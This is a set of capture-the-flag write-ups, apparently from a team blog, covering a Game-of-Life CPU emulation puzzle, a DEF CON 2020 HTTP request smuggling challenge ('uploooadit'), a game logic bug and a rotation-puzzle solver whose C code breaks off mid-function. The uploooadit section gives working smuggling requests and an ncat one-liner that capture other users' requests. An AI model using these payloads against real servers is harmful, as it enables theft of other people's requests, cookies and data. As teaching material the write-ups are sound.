# fountain-ooo-reliving

## Problem description

We have found the fountain OOO RElive. By discovering its secrets, you will restart the game of life with a chance to do it all over again. This challenge is in memory of John Conway (26 December 1937 â€“ 11 April 2020).

## input

We are given a file, which seems to be a game of life state.

The hint at the top of the file # GOOOlly its the Fountain OOO REliving pointed us to the Golly game-of-life simulator. When you feed the file into golly, it shows a diagram (initial state) of what seems like a CPU layout.

## initial observation

The diagram can be divided into 4 parts:

• Top left corner: ROM
• Top right corner: RAM
• Bottom right corner: Logic (ALU and CU)
• Bottom left corner: instruction memory

There are various etching marks written on near each component, labeling them and adding other clues, such as direction of fetching, composition of each instruction, or instruction Op-Code names.

The memory regions (RAM, ROM, instructions), seem to be composed of individual cells (fuses, memory-cells), which have a distinct pattern. When looking closely we can see that there are two patterns to each type of memory, presumably cells representing Zero and cells representing One.

## the plan

1. Use a tool to parse each of the memory regions in the diagram, in order to convert the pictures of cells to a bit stream, where each cell was converted into a bit.
2. Understand how the instructions should be interpreted and emulate a run of these instructions.
3. See what comes out and continue from there.

## the tools

We used OpenCV as our image processing application, and python as our emulator. We also used The Gimp in order to view a zoomed version of the picture, alongside the individual pixel coordinates.

## image processing phase

### chopping up the image

At first, using a regular screen-shot cutting tool, we cut out the interesting parts of the diagram, e.g. a rectangle containing the ROM and a rectangle containing the Instructions.

ROM:

Instructions:

### choosing reference cells

Next we opened the picture in the Gimp in order to determine the start location, height and width of each cell. We chose two different looking cells, and labelled one of them Zero and the other One. These two cells are our reference cells, they will be used to compare to all other cells in order to determine which of them are a Zero and which a One.

Example of Rom reference cells:

Example of Instruction reference cells:

This is the code to extract the reference cells.
For ROM:

main_img = cv2.imread('rom.png', cv2.IMREAD_GRAYSCALE)

main_height, main_width = main_img.shape

print(main_width, main_height)
start_offsetx = 9
start_offsety = 17

bit_width = 4
bit_height = 4

skip_height = 7
skip_width = 11

offsetx = start_offsetx
offsety = start_offsety

zero_pattern = main_img[offsety:offsety + bit_height, offsetx:offsetx + bit_width]
one_pattern = main_img[offsety+bit_height+skip_height:offsety + bit_height*2 +
skip_height, offsetx:offsetx + bit_width]


and Instructions:

main_img = cv2.imread('instructions.png', cv2.IMREAD_GRAYSCALE)

main_height, main_width = main_img.shape

print(main_width, main_height)
start_offsetx = 10
start_offsety = 7

bit_width = 10
bit_height = 3

skip_height = 8
skip_width = 11

offsetx = start_offsetx
offsety = start_offsety

one_pattern = main_img[offsety:offsety + bit_height, offsetx:offsetx + bit_width]
zero_pattern = main_img[offsety+bit_height+skip_height:offsety + bit_height*2 +
skip_height, offsetx:offsetx + bit_width]


### reading and parsing whole memory block

This is the code for ROM which iterates over the whole memory block, converting the pictures into a bit stream:

rom = []
while offsetx < 3204:
offsety = start_offsety
column_bits = []
while offsety < 121:
if numpy.array_equal(one_pattern, main_img[offsety:offsety + bit_height,
offsetx:offsetx + bit_width]):
column_bits.append(1)
elif numpy.array_equal(zero_pattern, main_img[offsety:offsety + bit_height,
offsetx:offsetx + bit_width]):
column_bits.append(0)
else:
print("ERROR!!!! doesn't match zero or one: %d, %d" % (offsetx, offsety))
cv2.imshow("", main_img[offsety:offsety + bit_height, offsetx:offsetx + bit_width])
cv2.waitKey(0)
exit()

offsety += bit_height + skip_height

column_bits = list(reversed(column_bits))
rom.append(bits_to_num(column_bits))

offsetx += skip_width

print(list(reversed(rom)))


Parsing of the instructions was done similarly, only here we also had to dissect each column of bits into the various components of an instruction. We used the etched hints in order to divide each instruction.

## result of ROM parsing

The rom parsing turned out to be non-interesting. It consists of 290 words holding the numbers from 0 to 290 respectively.

## dissecting the instructions

It was a bit hard to determine from the diagram exactly where each component begins and where it ends (i.e. how many bits to allocate to each component), so we experimented slightly with the sizes until the result seemed to make sense.

Our chosen disection was:

opcode arg1 value arg1 mode arg2 value arg2 mode arg3 value arg3 mode
num bits: 4 16 2 16 2 16 3

The code for disection the function is:

instructions = []
while offsetx < 1275:
offsety = start_offsety
column_bits = []
while offsety < 649:
if numpy.array_equal(one_pattern, main_img[offsety:offsety + bit_height,
offsetx:offsetx + bit_width]):
column_bits.append(1)
elif numpy.array_equal(zero_pattern, main_img[offsety:offsety + bit_height,
offsetx:offsetx + bit_width]):
column_bits.append(0)
else:
print("ERROR!!!! doesn't match zero or one: %d, %d" % (offsetx, offsety))

offsety += bit_height + skip_height

column_bits = list(reversed(column_bits))
offset = 0
opcode_width, value_width, mode_width = 4, 16, 2
opcode = bits_to_num(column_bits[offset:offset + opcode_width])
offset += opcode_width
arg1_val = bits_to_num(column_bits[offset:offset + value_width])
offset += value_width
arg1_mode = bits_to_num(column_bits[offset:offset + mode_width])
offset +=  mode_width
arg2_val = bits_to_num(column_bits[offset:offset + value_width])
offset += value_width
arg2_mode = bits_to_num(column_bits[offset:offset + mode_width])
offset +=  mode_width
arg3_val = bits_to_num(column_bits[offset:offset + value_width])
offset += value_width
arg3_mode = bits_to_num(column_bits[offset:offset+ mode_width + 1])
offset +=  mode_width

instructions.append((opcode, arg1_val, arg1_mode, arg2_val, arg2_mode, arg3_val,
arg3_mode))

offsetx += skip_width

instructions = list(reversed(instructions))



## Understanding the instructions

Now that we had all instructions parsed, we had a look at them in sequence. We see 115 instructions with opcodes 1, 3 and 6.

For example:

[0]     06      0000:0  0000:0  0002:4
[1]     01      ffff:0  6573:0  0002:4
[2]     01      ffff:0  38da:0  0003:4
[3]     01      ffff:0  57ad:0  0004:4
[4]     01      ffff:0  6343:0  0005:4
[5]     01      ffff:0  0e9f:0  0006:4
[6]     01      ffff:0  344f:0  0007:4
[7]     01      ffff:0  2f1b:0  0008:4
[8]     01      ffff:0  09fa:0  0009:4
[9]     01      ffff:0  3dcf:0  000a:4
...

[50]    03      0027:1  0007:1  0007:4
[51]    06      0001:1  df6d:0  0027:4
[52]    03      0027:1  0008:1  0008:4
[53]    06      0001:1  fa79:0  0027:4
[54]    03      0027:1  0009:1  0009:4
[55]    06      0001:1  ce20:0  0027:4
[56]    03      0027:1  000a:1  000a:4
[57]    06      0001:1  e79d:0  0027:4
[58]    03      0027:1  000b:1  000b:4
[59]    06      0001:1  b6db:0  0027:4
[60]    03      0027:1  000c:1  000c:4
...

[108]   03      0027:1  0024:1  0024:4
[109]   06      0001:1  c763:0  0027:4
[110]   03      0027:1  0025:1  0025:4
[111]   06      0001:1  aac7:0  0027:4
[112]   03      0027:1  0026:1  0026:4
[113]   01      ffff:0  fffe:0  0000:4
[114]   01      0000:0  0000:0  0000:4


By looking at the etching near the Control Unit , and a bit of educated guessing, it seems that the opcodes mean:

opcode mnemonic operation
1 MLZ Move if less than zero
3 SUB Subtract
6 XOR Exclusive Or

Judging by the size of the values, and guessing that lower number may refer to registers/ram addresses while larger numbers are more likely immediate values. The mode bits, for the first two operands seem to be:

mode meaning
0 immediate value
1 register number

## emulating the instructions

We wrote the following code to emulate the instructions:

def emulate_instructions():
registers = [0] * 72
for j, i in enumerate(instructions):
print("[%d]" % j +  "\t%02x\t%04x:%x\t%04x:%x\t%04x:%x" % i)
opcode, a1, a1m, a2, a2m, a3, a3m = i
op1 = a1 if a1m == 0 else registers[a1]
op2 = a2 if a2m == 0 else registers[a2]
if opcode == 6:
registers[a3] = op1 ^ op2
elif opcode == 1:
if unsigned_to_signed(op1) < 0:
registers[a3] = op2
else:
pass
elif opcode == 3:
registers[a3] =  (op1- op2) & 0xffff


After running this we looked at the resulting memory (the values in the registers), to see if it is leading us somewhere.
The data was taking shape, so we felt that we are getting somewhere, but the result made no sense so we understood that we were still missing something.

## the missing register

Looking at the instruction list can be broken down to:

1. The first 38 instructions initialize the registers from 2 to 39 with immediate values.
2. The next instructions perform some kind of hashing function, consisting of Xors and Subtraction on the registers.

Something we found is that register 1 is used in the hashing phase, but as opposed to all other registers it is never initialized in the initialization phase.

Since thre registers are only 16 bits wide, we decided to brute force all possible values for an initialized register 1, and see what we get. The updated code is as follows:

def emulate_instructions(secret):
registers = [0] * 72
registers[1] = secret
for j, i in enumerate(instructions):
# print("[%d]" % j +  "\t%02x\t%04x:%x\t%04x:%x\t%04x:%x" % i)
opcode, a1, a1m, a2, a2m, a3, a3m = i
op1 = a1 if a1m == 0 else registers[a1]
op2 = a2 if a2m == 0 else registers[a2]
if opcode == 6:
registers[a3] = op1 ^ op2
elif opcode == 1:
if unsigned_to_signed(op1) < 0:
registers[a3] = op2
else:
pass
elif opcode == 3:
registers[a3] =  (op1- op2) & 0xffff
return registers

for secret in range(0xffff):
registers = emulate_instructions(secret)
out = b""
for r in registers:
out += struct.pack("<H", r)

with open("results/%x.out" % secret, "wb") as fout:
fout.write(out)


## searching for the flag

Seeing that we know the flag starts with “OOO”, we searched all of our 65535 result files for that string:

$grep -a OOO results/* results/107.out:_/_?Ok/yOy_qo|QUoOOOqiOeObu1^1qOgO^mQ results/12f.out://7OC/'\_qQmW7OwqO}OJ]1WFOW1]q_WOOOFQ results/1fd.out:.N/Cu?p_VR? POOO_1P2 qH_O!P: results/2117.out:!OOOO/{Oi_isQ_lif1e_/_Qyo/u/re_Qon_/oQuQr_o/w/n}1_ results/4117.out:AOoOOO{oinQ_othQis_Qlifeo_Q__yourOe_qoQn_yoqur_OownO}  ## The flag The result of file 4117.out seems suspiciously close to the expected flag format. We obviously still have errors in our code, seeing that there are a few extra characters sprinkled throughout the flag string, but this was enough for us to guess the correct flag: OOO{in_this_life__youre_on_your_own} The full python script usef for the solution can be found here. ## defcon 2020 quals – uploooadit # Defcon Quals – uploooadit challenge We started off with a website https://uploooadit.oooverflow.io/ and 2 source files. App.py – backend source code, just a simple server which supports reading files from AWS S3 bucket and creating files on AWS S3 bucket. Store.py – Implementation for the actions I mentioned above. ## TL;DR We successfully performed http request smuggling by causing desync between the Gunicorn backend to the HAProxy. By injecting arbitrary content to another’s request, we forced the next request to be http POSTDATA sent to the server, storing the target’s request. Afterwards, we read it. By doing so, we managed to get the flag, which is sent through http post request to the backend server. ## How we got there? We started off with the source code, looking for some vulnerabilities, trying to think of ways to solve the challenge. import os import re from flask import Flask, abort, request import store GUID_RE = re.compile( r"\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\Z" ) app = Flask(__name__) app.config["MAX_CONTENT_LENGTH"] = 512 filestore = store.S3Store() # Uncomment the following line for simpler local testing of this service # filestore = store.LocalStore() @app.route("/files/", methods=["POST"]) def add_file(): if request.headers.get("Content-Type") != "text/plain": abort(422) guid = request.headers.get("X-guid", "") if not GUID_RE.match(guid): abort(422) filestore.save(guid, request.data) return "", 201 @app.route("/files/<guid>", methods=["GET"]) def get_file(guid): if not GUID_RE.match(guid): abort(422) try: return filestore.read(guid), {"Content-Type": "text/plain"} except store.NotFound: abort(404) @app.route("/", methods=["GET"]) def root(): return "", 204  By examining the server source, we can easily notice two things: • We can read any file with a given GUID (get_file function) • We can upload any file with some GUID as filename (add_file function). We tried few different ways to get the flag for several hours (AWS S3 bucket misconfigurations, finding vulnerabilities within the code etc.) but without any success. Until we noticed the following http headers returned from the server: Server: gunicorn/20.0.0 Via: haproxy  And then it came to us! We remembered an article by Nathan Davison, which describes http request smuggling attack against HAProxy – Gunicorn server (which is pretty much the solution for the challenge). The concept is described pretty well at Nathan’s article & article by portswigger, but still, I’ll explain the main concept with a simple example. HTTP Request Smuggling is an attack vector caused by inconsistency between frontend & backend servers when parsing http request’s ‘data transfer’ behavior over a connection. You can use Content-Length header to specify the exact length of the request, or ‘Transfer-Encoding: chunked’ to send file over a single TCP connection by sending multiple chunks. Usually, this kind of attack happens when messing with those headers. This “inconsistency” of parsing leads to arbitrary data being injected to the next request in the frontend / backend server. For example, the frontend server might parse http request using Content-Length header, but the backend server parse the request using Transfer-Encoding (CL.TE vulnerability). By sending the following request: POST / HTTP/1.1 Host: example.com Content-Length: 9 Transfer-Encoding: chunked 0 DATA  The frontend server will transfer the request to the backend server using Content-Length (“0\r\n\r\nDATA”). If the backend server would parse the request using Transfer-Encoding header, it will encounter 0 which resembles the last chunk of the request. Then, “DATA” will be pre-appended to the next request over the same connection (“DATAGET / HTTP/1.1”). The scenario in uploooadit was similar. As written in Nathan’s article, by sending both Transfer-Encoding & Content-Length headers, with additional \x0C character in the TE header, we can cause this inconsistency. By sending the following request: POST /files/ HTTP/1.1 X-guid: 10000000-0000-0000-0000-000000000000 Content-Type: text/plain Host: uploooadit.oooverflow.io Content-Length: 9 Transfer-Encoding:[\x0c]chunked 0 DATA  The frontend server will use the Content-Length header to parse the request, but the backend server will use Transfer-Encoding. As explained before, as the backend server receives ‘0’, it stops to receive more chunks. Then, the rest of the data pre-appended to the next request (which is in the same TCP connection)! Soo… what can we do next? The next thing we thought of was stealing someone’s request. So we’ll abuse the upload file feature by appending http post request to /files/, with the victim’s request as POSTDATA. Maybe, by doing so, we’ll get some valuable information. Proof of Concept: printf 'POST /files/ HTTP/1.1\r\nX-guid: 10000000-0000-0000-0000-000000000000\r\nContent-Type: text/plain\r\nHost: uploooadit.oooverflow.io\r\nContent-Legth: 128\r\nTransfer-Encoding:\x0cchuncked\r\n\r\n0\r\n\r\nPOST /files/ HTTP/1.1\r\nX-guid: 30000000-0000-0000-0000-000000000000\r\nContent-Type: text/plain\r\nContent-Length: 395\r\n\r\n390\r\n' | ncat --ssl uploooadit.oooverflow.io 443  or: POST /files/ HTTP/1.1 X-guid: 10000000-0000-0000-0000-000000000000 Content-Type: text/plain Host: uploooadit.oooverflow.io Content-Length: 9 Transfer-Encoding:[\x0c]chunked 0 POST /files/ HTTP/1.1 X-guid: 30000000-0000-0000-0000-000000000000 Content-Type: text/plain Content-Length: 390 390  So, the next request will be ( is the victim’s request): POST /files/ HTTP/1.1 X-guid: 30000000-0000-0000-0000-000000000000 Content-Type: text/plain Content-Length: 395 390 <DATA>  By reading 30000000-0000-0000-0000-000000000000 file: import requests import time def get(): headers = {"Content-Type":"text/plain"} r = requests.get("https://uploooadit.oooverflow.io/files/30000000-0000-0000-0000-000000000000",headers = headers, verify=False, timeout=5) print(r.status_code) print(r.text) while True: time.sleep(1) try: get() except: continue  We got as output: POST /files/ HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: invoker Accept-Encoding: gzip, deflate Accept: */* Content-Type: text/plain X-guid: 8328508c-8de9-43cd-8e08-5b9c7c45f552 Content-Length: 152 X-Forwarded-For: 127.0.0.1 Congratulations! OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}  And we got the flag! =) ## Summary At first glance, http request smuggling attack seems not so powerful. But, this challenge showed us very powerful exploitation vector. In the wild, this kind of bug might lead to cookie theft, trigger xss vulnerabilities or even remote code execution. ## The dragon sleeps at night ## Challenge overview The challenge description provided solely an ip & port in order to connect to a remote machine with netcat. Once connecting, we were displayed with a game menu that enabled performing various actions on a character we control. The goal of the game is eventually to kill a dragon in his lair. In order to do that, we need to equip our character with a sword strong enough for the task. The character can: 1. Go to work in order to earn money 2. Enter the swords shop in order to buy a sword 3. Enter the vault in order to deposit/withdraw the sword 4. Go to sleep in order to rest the character 5. Go in the dragons lair in order to fight the dragon ## Challenge solution In order to kill the dragon, one must obtain a high level sword. In order to obtain a high level sword, one must “go to work” and earn money, though the highest amount of money one can make in one work session is limited by an input of 3 digits, meaning that naively, we could only earn 999$ for each work session.
It seemed suspicious that resting the character doesn’t really have a practical benefit, and only degrades the sword for every day of rest, and so we tried resting the character for negative value of days in order to reverse the effect on the sword and upgrade it. It seemed it worked. That way we upgraded the sword to level 6 and were able to kill the dragon.

# Intro

Shifty is a cool game which requires you to reorder the cells within a table by rotating the columns (rotate up) and rows (rotate left).
The best way to describe it is by showing the first output you receive when connecting to the game server (nc 138.68.67.161 60006):

Welcome!

Level 1

Your target:

0 1 2
A 0 1 2
B 3 4 5
C 6 7 8

Current board:

0 1 2
A 8 6 1
B 3 2 4
C 5 0 7

Enter 0-2 or A-C:

In the UI we are required to give the column or the row we wish to rotate up or left. We can send more than one rotation command and separate the commands using “,”.
For example, running the command ‘B’ from the previous output will give:

  0 1 2
A 8 6 1
B 2 4 3
C 5 0 7

The multiple commands (separated by “,”) not unlimited. We found out pretty early we can separate long multiple commands using ‘\n’. The server will run all the commands and this will be faster than sending commands and wait for the prompt before sending the next ones.

After each command the server will send us the current board state.

# The levels

Level 1 – 3 x 3 matrix to solve.
Level 2 – 12 x 12 matrix to solve.
Level 3 – 5 x 5 matrix without getting the board state after each command.
Level 4 – 4 x 4 matrix with randomized commands. Rotating A might rotate B instead. The randomized commands will change column to column and row to other row. Row will not be changed to column and vice verse. The randomized commands are defined at the beginning of the level and are not changed after defining them.
Level 5 – 4 x 4 matrix and both randomized commands and hidden state.

# How to solve each level

## Level 1

This was the naive solution which turned out to be too slow for the next levels. We give it anyway.
At first we implemented backtracking algorithm in C to solve the board. We decided to do it in C to control the memory allocations (to be none), reduce memory usage and increase solving speed. We wrapped the call to the process using python script to control the communication with the server using pwntools. We also decided to send the data from the python code to the c code using argv of main so we will not have to reallocate and memcpy it on the native code.

Run the code:

make shifty
./shifty 3 3 861324507 012345678

## Level 2

At level 2 we realized everything we did in the first level is useless as backtracking is too slow for 12 x 12.
We decided to split the solution to two parts – solve all the rows but the last one and then solve the last row. We were able to split this mission to 2 persons.
For better performance we used numpy.

For the algorithms:

• Rotate down means to rotate up the height of the matrix minus one times.
• Rotate right means to rotate left the width of the matrix minus one times.

### The top (size-1) rows

The rows except the last one were solved cell by cell. When trying to solve one cell, the expected number should be in that cell is called “working number”.
The algorithm:

1. Assumes all the smaller numbers to the working number are set in their places.
2. If the working number is on the correct row then we move it to the row below (without destroying the previous numbers):
1. Shift down its column.
2. Shift left the working number once.
3. Shift up its previous column. Notice this column dont contain the working number anymore.
3. Shift left the working number until it reaches to the column left of its target column.
4. Shift down the target column until the previously placed numbers in that column is one row above the working number.
5. Shift right the row of the working number.
6. Shift up the working number column until the working number is in its place.

Example:

   0  1  2  3
A 00 01 02 03
B 04 07 08 05
C 14 09 13 15
D 06 12 11 10
1. We have all number up to 4 in its place. the working number is 5.

2.1. Shift down 5 once

   0  1  2  3
A 00 01 02 10
B 04 07 08 03
C 14 09 13 05
D 06 12 11 15

2.2. Shift left number 5 once

   0  1  2  3
A 00 01 02 10
B 04 07 08 03
C 09 13 05 14
D 06 12 11 15

2.3. Shift up column 3

   0  1  2  3
A 00 01 02 03
B 04 07 08 14
C 09 13 05 15
D 06 12 11 10
1. Shift left number 5 twice
   0  1  2  3
A 00 01 02 03
B 04 07 08 14
C 05 15 09 13
D 06 12 11 10
1. Shift down column 1
   0  1  2  3
A 00 12 02 03
B 04 01 08 14
C 05 07 09 13
D 06 15 11 10
1. Shift right row C
   0  1  2  3
A 00 12 02 03
B 04 01 08 14
C 13 05 07 09
D 06 15 11 10
1. Shift up column 1
   0  1  2  3
A 00 01 02 03
B 04 05 08 14
C 13 15 07 09
D 06 12 11 10

Woohoo, number 5 is in its place.

### The last row

1. For each cell in the lowest row
1. Call the topmost-rightmost value bad_val.
2. Find the leftmost invalid located cell in the matrix. Call it exist_val.
3. Find the cell which should be on the first invalid location. Call it min_val.
4. Rotate min_val to the rightmost cell.
5. Rotate up the leftmost column.
6. Rotate exist_val to the rightmost cell.
7. Rotate down the rightmost column.
8. Rotate min_val to its right location.
9. If the topmost-rightmost value is not bad_val.
1. If the rightmost at the bottom value is bad_val.
1 Rotate right.
2. Rotate up.
3. Rotate bad_val into the bottom rightmost.
4. Rotate down.
10. Rotate min_val to its right location.

FixLastRow will be executed twice because calling it once does not cover all cases.

Execution example:

Current board:

Enter 0-3 or A-D:
0  1  2  3
A 00 01 02 03
B 04 05 06 07
C 08 09 10 11
D 12 15 13 14
1. bad_val is 3
2. The first exist_val is 15
3. min_val is in column 2
4. rotate the last row to the right
Enter 0-3 or A-D:
0  1  2  3
A 00 01 02 03
B 04 05 06 07
C 08 09 10 11
D 14 12 15 13
1. rotate up column 3
Enter 0-3 or A-D:
0  1  2  3
A 00 01 02 07
B 04 05 06 11
C 08 09 10 13
D 14 12 15 03
1. rotate 15 into column 3.
Enter 0-3 or A-D:
0  1  2  3
A 00 01 02 07
B 04 05 06 11
C 08 09 10 13
D 03 14 12 15
1. rotate down column 3. now 13 is near 12.
Enter 0-3 or A-D:
0  1  2  3
A 00 01 02 15
B 04 05 06 07
C 08 09 10 11
D 03 14 12 13
1. rotate 13 to its place
Enter 0-3 or A-D:
0  1  2  3
A 00 01 02 15
B 04 05 06 07
C 08 09 10 11
D 12 13 03 14

9.

1. rotate up column 3
Enter 0-3 or A-D:
0  1  2  3
A 00 01 02 07
B 04 05 06 11
C 08 09 10 14
D 12 13 03 15
1. rotate 3 to column 3
Enter 0-3 or A-D:
0  1  2  3
A 00 01 02 07
B 04 05 06 11
C 08 09 10 14
D 15 12 13 03
1. rotate down colum 3
Enter 0-3 or A-D:
0  1  2  3
A 00 01 02 03
B 04 05 06 07
C 08 09 10 11
D 15 12 13 14
1. rotate 13 back to its location
Enter 0-3 or A-D:
0  1  2  3
A 00 01 02 03
B 04 05 06 07
C 08 09 10 11
D 12 13 14 15

Woohoo, the last row is now ok.

## Level 3

There is nothing special of this level. We don’t really need to know the current board each time because the operations effect are known and initial board is known.

## Level 4

First try each operation and remember how it effect the board. Then reverse-map all the needed operation when inserted as input.

## Level 5

This level is combining both level 3 and level 4. Because we can’t tell what each operation is doing we cannot use the method we used in level 4.
In this level we had to iterate over all the possible operation permutations. We solved the board for each permutation and sent the solution to the server. After sending the solution we waited for one second to receive the “Congrats!” string. If we got it then the flag was sent to us along it. If we did not receive this string we sent the reverse operations of the current assumed permutation and then sent the operations of the next permutation.

The reverse of commands is doing the same operations backwards where each command is multiplied by the size of the matrix minus one.

# The code

## Final solution

Execute:

python -i shifty.py

shifty.py

from itertools import permutations, product
import math
import numpy as np
import pwnlib
import pwn

def main():
row_mapping = ["a","b","c","d", "e", "f", "g", "h", "i", "j", "k", "l"]
col_mapping = [str(x) for x in range(12)]

import pwn
x = pwn.remote("138.68.67.161", 60006)
print("Level 1")
_, found_solution = negotitate_solution(x, row_mapping=row_mapping, \
col_mapping=col_mapping)
assert found_solution

print("Level 2")
_, found_solution = negotitate_solution(x, row_mapping=row_mapping, \
col_mapping=col_mapping)
assert found_solution

print("Level 3")
_, found_solution = negotitate_solution(x, row_mapping=row_mapping, \
col_mapping=col_mapping)
assert found_solution

print("Level 4")
row_mapping, col_mapping, current_board = find_mapping(x)
_, found_solution = negotitate_solution(x, row_mapping=row_mapping, \
col_mapping=col_mapping, \
current_board=current_board)
assert found_solution

print("Level 5")

size = len(current_board)
possible_columns = [str(x) for x in range(size)]
possible_rows = [chr(ord('a') + i) for i in range(size)]

found_solution = False
current_board = parse_current_board(x)
tries = math.factorial(size) ** 2
map_permutations = product(permutations(possible_columns, size), \
permutations(possible_rows, size))
for i, (col_mapping, row_mapping) in enumerate(map_permutations):
print("try " + str(i) + " / " + str(tries))
instructions, found_solution = \
negotitate_solution(x, row_mapping=row_mapping, col_mapping=col_mapping, \
current_board=current_board, timeout=1)
if found_solution:
print('found_solution')
break
instructions = reverse_instructions(instructions, size)
send_instructions(x, instructions)
x.interactive()

def solve_matrix(current_matrix, row_mapping, col_mapping):
instructions = ""
C = np.array(current_matrix)
size = len(current_matrix[0])

def RotateUp(mat):
nonlocal instructions
mat[:,size-1] = np.roll(mat[:,size-1],-1)
instructions += col_mapping[size-1]+","
return mat

def RotateDown(mat):
nonlocal instructions
for i in range(size-1):
mat[:,size-1] = np.roll(mat[:,size-1],-1)
instructions += col_mapping[size-1]+","
return mat

def RotateLeft(mat):
nonlocal instructions
mat[size-1] = np.roll(mat[size-1],-1)
instructions += row_mapping[size-1]+","
return mat

def RotateRight(mat):
nonlocal instructions
for i in range(size-1):
mat[size-1] = np.roll(mat[size-1],-1)
instructions += row_mapping[size-1]+","
return mat

def FixLastRow(mat):
last_line = mat[-1]
min_val = min(last_line)
i = 0
while i < size:
while i < size and min_val == mat[-1][i]:
i += 1
min_val += 1
if i == size:
break
exist_val = mat[-1][i]
while mat[-1][-1] != min_val:
mat = RotateLeft(mat)
mat = RotateUp(mat)
bad_val = mat[-1][-1]
while mat[-1][-1] != exist_val:
mat = RotateLeft(mat)
mat = RotateDown(mat)
while mat[-1][i] != min_val:
mat = RotateLeft(mat)
if mat[0][-1] != bad_val:
if mat[-1][-1] == bad_val:
mat = RotateRight(mat)
mat = RotateUp(mat)
while mat[-1][-1] != bad_val:
mat = RotateLeft(mat)
while mat[0][-1] != bad_val:
mat = RotateUp(mat)
while mat[-1][i] != min_val:
mat = RotateLeft(mat)
return mat

def ShiftCol(C, steps, col):
for i in range(steps):
C[:,col] = np.roll(C[:,col],-1)
return C

def ShiftRow(C, steps, row):
for i in range(steps):
C[row] = np.roll(C[row],-1)
return C

def GetCurrentPlace(C,num):
c_row = np.argwhere(C==num)[0][0]
c_col = np.argwhere(C==num)[0][1]
return c_row, c_col

def GetTargetPlace(size, num):
t_row = math.floor(num/size)
t_col = num%size
return t_row, t_col

def SolveOne(num, C):
nonlocal instructions
NEW_C = C
instruction = ""
size = len(C[0])

t_row, t_col = GetTargetPlace(size, num)
c_row, c_col = GetCurrentPlace(C, num)

if t_row == c_row and t_col == c_col:
instructions += instruction
return NEW_C

if t_row == c_row:
instruction += (col_mapping[c_col] + ",") * (size-1)
NEW_C = ShiftCol(NEW_C, size-1, c_col)
instruction += row_mapping[c_row+1] + ","
NEW_C = ShiftRow(NEW_C, 1, (c_row+1)%size)

instruction += col_mapping[c_col] + ","
NEW_C = ShiftCol(NEW_C, 1, c_col)

c_row += 1
c_col -= 1

if t_col == c_col:
instruction += row_mapping[c_row] + ","
NEW_C = ShiftRow(NEW_C, 1, c_row)
c_col -= 1

"""vertical"""
vertical_scroll = t_row + size - c_row
instruction += (col_mapping[t_col] + ",") * vertical_scroll
NEW_C = ShiftCol(NEW_C, vertical_scroll, t_col)

"""horizontal"""
if c_col > t_col:
horizontal_scroll = c_col - t_col
else:
horizontal_scroll = c_col + (size - t_col)
instruction += (row_mapping[c_row] + ",") * horizontal_scroll
NEW_C = ShiftRow(NEW_C, horizontal_scroll, c_row%size)

"""back vertical"""
instruction += (col_mapping[t_col] + ",") * (size - vertical_scroll)
NEW_C = ShiftCol(NEW_C, size - vertical_scroll, t_col)

instructions += instruction
return NEW_C

size = len(C[0])
for j in range(0, size * (size - 1)):
C = SolveOne(j,C)
instructions += "\n"

C = FixLastRow(C)
C = FixLastRow(C)
return C, instructions

def find_mapping(x):
current_board = parse_current_board(x)
size = len(current_board)

row_mapping = [None,]*size
col_mapping = [None,]*size
prev_board = current_board

for i in range(size):
x.sendline(str(i))
x.recvuntil("\n")
x.recvuntil("\n")
board = x.recvuntil("\n\n")
current_board = parse_matrix(board)
col_mapping[find_col_change(prev_board, current_board)] = str(i)
prev_board = current_board

for i in range(size):
x.sendline(chr(ord('A') + i))
x.recvuntil("\n")
x.recvuntil("\n")
board = x.recvuntil("\n\n")
current_board = parse_matrix(board)
row_mapping[find_row_change(prev_board, current_board)] = chr(ord('A') + i)
prev_board = current_board

return row_mapping, col_mapping, current_board

def reverse_instructions(ins, s):
return ''.join([(s-1) * (x + ",") for x in ins.split(",")[::-1]])

def find_col_change(prev, current):
return next(i for i, (x, y) in enumerate(zip(zip(*prev), zip(*current))) if x != y)

def find_row_change(prev, current):
return next(i for i, (x, y) in enumerate(zip(prev, current)) if x != y)

def parse_matrix(b):
return [[int(x) for x in l.split()[1:]] for l in b.splitlines() if l != b'']

def parse_current_board(x):
x.recvuntil("Your target:\n\n ")
x.recvuntil("\n")
board = x.recvuntil("\n\n")
target_board = parse_matrix(board)

x.recvuntil("Current board:\n\n  ")
x.recvuntil("\n")
board = x.recvuntil("\n\n")
current_board = parse_matrix(board)
return current_board

def send_instructions(x, instructions):
instructions = instructions.strip(",")
x.recvuntil("Enter ")
x.recvuntil(": ")
for line in instructions.splitlines():
x.sendline(line)

def negotitate_solution(x, col_mapping, row_mapping, current_board=None, \
timeout=pwnlib.timeout.Timeout.default):
if current_board is None:
current_board = parse_current_board(x)

resolved_matrix, instructions = solve_matrix(current_board, row_mapping, col_mapping)
s = len(resolved_matrix)
assert all(resolved_matrix.reshape(s*s)==np.arange(s*s))

send_instructions(x, instructions)

y = x.recvuntil("Congrats!", timeout=timeout)
return instructions, b'Congrats!' in y

if __name__ == "__main__":
main()

## Initial, useless c code:

Make:

make shifty

shifty.c:

#include <stdio.h>
#include <memory.h>
#include <stdlib.h>

void shift_row(char *mat, int row, int col_size, int row_size) {
char *r = &mat[row*col_size];
char last = r[0];
r += col_size-1;
for (int i = 0 ; i < col_size; ++i, --r) {
char l = *r;
*r = last;
last = l;
}
}

void shift_col(char *mat, int col, int col_size, int row_size) {
char *c = &mat[col];
char last = c[0];
c += col_size * (row_size-1);
for (int i = 0 ; i < row_size; i += 1, c-=col_size) {
char l = *c;
*c = last;
last = l;
}
}

void shiftback_row(char *mat, int row, int col_size, int row_size) {
char *r = &mat[row*col_size];
char last = r[col_size-1];
for (int i = 0 ; i < col_size; ++i, ++r) {
char l = *r;
*r = last;
last = l;
}
}

void shiftback_col(char *mat, int col, int col_size, int row_size) {
char *c = &mat[col];
char last = c[col_size * (row_size-1)];
for (int i = 0 ; i < row_size; i += 1, c+=col_size) {
char l = *c;
*c = last;
last = l;
}
}

void print_mat(char *mat, int col_size, int row_size) {
return;
for (int i = 0; i < col_size; ++i) {
for (int j = 0; j < row_size; ++j, ++mat) {
printf("%03d ", *mat);
}
printf("\n");
}
}

int check_solution(char *current, char *target, int col_size, int row_size) {
return !memcmp(current, target, row_size * col_size);
}

int solve_mat(char *current, char *target, int col_size, int row_size, int steps_left) {
if (check_solution(current, target, col_size, row_size)) {
return 1;
}
if (steps_left == 0) {
